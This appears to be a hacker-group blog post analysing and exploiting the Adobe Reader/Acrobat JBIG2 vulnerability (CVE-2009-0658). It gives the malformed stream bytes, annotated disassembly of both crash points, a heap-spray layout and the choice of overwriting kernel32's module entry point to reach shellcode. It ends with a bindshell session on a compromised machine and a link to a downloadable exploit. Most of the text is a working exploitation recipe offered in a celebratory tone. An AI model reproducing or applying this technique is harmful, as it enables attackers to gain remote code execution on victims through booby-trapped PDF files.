|
Hey gang, Been a few days since our last post, but not to worry! Still lots of fun stuff happening in the blacksec community. Our latest post is a brief analysis of the jbig2 vulnerability recently patched by Adobe in APSB09-01 (aka CVE-2009-0658). What I thought was particularly interesting (although not a surprising given vendors actual understanding of the vulnerabilities that typically affect their software) was its classification: "Buffer overflow issue in versions 9.0 and earlier of Adobe Reader and Acrobat". The actual bug stems from a pointer-indexing issue when utilizing a specifically crafted JBIG2 structure.
Bugs like this are fun, because they can often lead to multiple different avenues that inturn can be leveraged for execution. We were able to gain control of execution through the use of some careful heap spraying that would both create 1/2 a sprayed area of pointers that are later loaded and used in a controlled write operation followed by another 1/2 of your typical nopsled/shellcode heapspraying. Combine this spraying with the time used to allocate the memory being used and
you could easily overwrite low-addressed (static) module entry points. Theres a little more too this, so lets dig in...
Lets begin with the orignal crash mentioned in the snort VRT blog posting (http://vrt-sourcefire.blogspot.com/2009/02/have-nice-weekend-pdf-love.html). From the posting:
"the 5th byte into the stream (which is the segment header flag byte) were to have the 6th bit set indicating a large page association size:
00 00 00 01 40 00 00 33 33 33"
Here, we can see the beginning of our long road to exploitation. After modifying the segment header flag of our JBIG2 stream, we are able to embed a controllable (big endian!) pointer beginning at the 2nd byte following the the segment header flag. Using the values described in the original advisory, we can trigger a crash at the first (0387298A - Add operation) location as seen below.
03872979 |. 8B41 1C MOV EAX,DWORD PTR DS:[ECX+1C] ; our (big endian) pointer gets loaded into EAX 0387297C |. 85C0 TEST EAX,EAX 0387297E |. 0F84 AC020000 JE Acroba_1.03872C30 03872984 |. 8B4E 10 MOV ECX,DWORD PTR DS:[ESI+10] ; The base-index register gets loaded into ECX 03872987 |. 8D0480 LEA EAX,DWORD PTR DS:[EAX+EAX*4] ; EAX gets multiplied by 5 0387298A |. 834481 EC 01 ADD DWORD PTR DS:[ECX+EAX*4-14],1 ; ECX+ EAX*4 - the value at this location gets incremented.
Here ECX varies in its exact location but, generally lands in the ~02xxxxxx range. If we craft some generic heap spraying code, we can allocate blocks of memory within a specified distance of this pointer. So, after adding the heap spraying code we can see a nice area of memory that gets allocated 0x082xxxxx-0x0fexxxxx bytes (or 0x6200000 to 0xDE00000 bytes away). This area is located after Cooltype and before acaptuse in memory. If we look back at the assembly from the first crash area we can see our pointer gets multiplied by 5 first and then multiplied by 4 again in the following operation (you'll see below this same logic is repeated in the second crash). Applying this logic, if we use a value such as 0x00666666, it will first be multiplied by 5 to give us 0x01FFFFFE and then multiplied by 4 again to finally equal 0x07FFFFF8. This drops us right in the middle of our first large heap sprayed area and allows us to continue on to the second crash location.
03872BC7 |> 8B0CBB /MOV ECX,DWORD PTR DS:[EBX+EDI*4] 03872BCA |. 8B41 1C |MOV EAX,DWORD PTR DS:[ECX+1C] ; our (big endian) pointer gets loaded into EAX 03872BCD |. 8B56 10 |MOV EDX,DWORD PTR DS:[ESI+10] ; EDX points to the same base we used before in ECX 03872BD0 |. 8D0480 |LEA EAX,DWORD PTR DS:[EAX+EAX*4] ; EAX gets multiplied by 5 03872BD3 |. 8D4482 EC |LEA EAX,DWORD PTR DS:[EDX+EAX*4-14] ; the address of where we performed our last ADD at the first crash location gets ; loaded into EAX 03872BD7 |. 8B50 04 |MOV EDX,DWORD PTR DS:[EAX+4] ; HEAPSPRAY_AREA+0x4 gets loaded into EDX 03872BDA |. 85D2 |TEST EDX,EDX ; make sure this isn't 0! 03872BDC |. 74 0A |JE SHORT Acroba_1.03872BE8 03872BDE |. 8B68 10 |MOV EBP,DWORD PTR DS:[EAX+10] ; HEAPSPRAY_AREA+0x10 gets loaded into EBX 03872BE1 |. 890CAA |MOV DWORD PTR DS:[EDX+EBP*4],ECX ; a pointer to our struct gets written to anywhere we want
Here, we crash at the second location with the values EDX and EBX equaling 0x90909090. Basically, we can overwrite any portion of (writable) memory with a pointer to our struct. We accomplish this by making the first 100-300 of our heap spray operations (of typically 1000) with [x][y][x][y][x][y][x][y] style alternating pointers where x is the value we want to overwrite and y is 0 (used in EBX*4). Other values can be used here but you get the general idea.
Lets focus now on whats at the pointer were able to write to anywhere in memory.
This is our stream from our file:
stream.....@.........,...H........... 73 74 72 65 61 6D 0A [00000001] 40 00 00666666 [13000007] 2C 00 00 09
Certain bytes have been separated and put into brackets to help visualize their exact locations when loaded into memory.
When the second crash occurs ECX points to the following memory data:
010B60F0 [01 00 00 00]00 62 01 00 00 00 2F 44 00 00 75 6D ....b.../D..um 010B6100 00 00 00 00 25 32 30 61 6E 64 25 32 F4 FF FF FF ....%20and%2ôÿÿÿ 010B6110 [07 00 00 13]00 00 72 75 62 D0 A2 01 0C 6B BA 00 ....rubТ.kº.
As you can see, we control the 2 (little endian) pointers at [ECX] and [ECX+0x20] and can place whatever values we wish at these locations by manipulating the stream in our malformed pdf. Our Solution was to simply place a "CALL [ECX+0x20]" at the first location where we land at (after overwriting a called pointer) and to stick where ever we want to land at [ECX+0x20] (or right after our index pointer in our jbig2 stream).
So, what to overwrite? We spent a day or two looking for static areas of memory that were to be accessed after the crash that would lead to execution. In the end, we decided to take advantage of the Module Entry point of kernel32 located in the 0x00251xxx range. These locations will vary based on SP/pdf you have created but after a little math can be statically calculated.
00251FD8 7C800000 kernel32.7C800000 00251FDC 7C80B63E kernel32. ; <- what we clobber! 00251FE0 000F6000 00251FE4 00420040 Acrobat.00420040 00251FE8 00251F70 UNICODE "C:\WINDOWS\system32\kernel32.dll" 00251FEC 001A0018 00251FF0 00251F98 UNICODE "kernel32.dll" 00251FF4 80084004
This is called not to long after our heap spraying has completed and our overwrite has succeeded. This leaves only one last step, to toss your fav high mem address into ECX+0x20. We chose to use something simple, 0x13131313 - which lands in the second portion of our heap spraying code. This technique works both on acrobat/reader 9 with the same offsets :D:D:D. One, two, twenty-three, four...adobe bindshell landing at your door.
C:\Documents and Settings\Administrator\Desktop> telnet localhost 5500
Microsoft Windows XP [Version 5.1.2600] (C) Copyright 1985-2001 Microsoft Corp.
C:\Documents and Settings\Administrator\Desktop>
Bindshell Exploit
http://milw0rm.com/sploits/2009-bl4ck-adobe.zip
|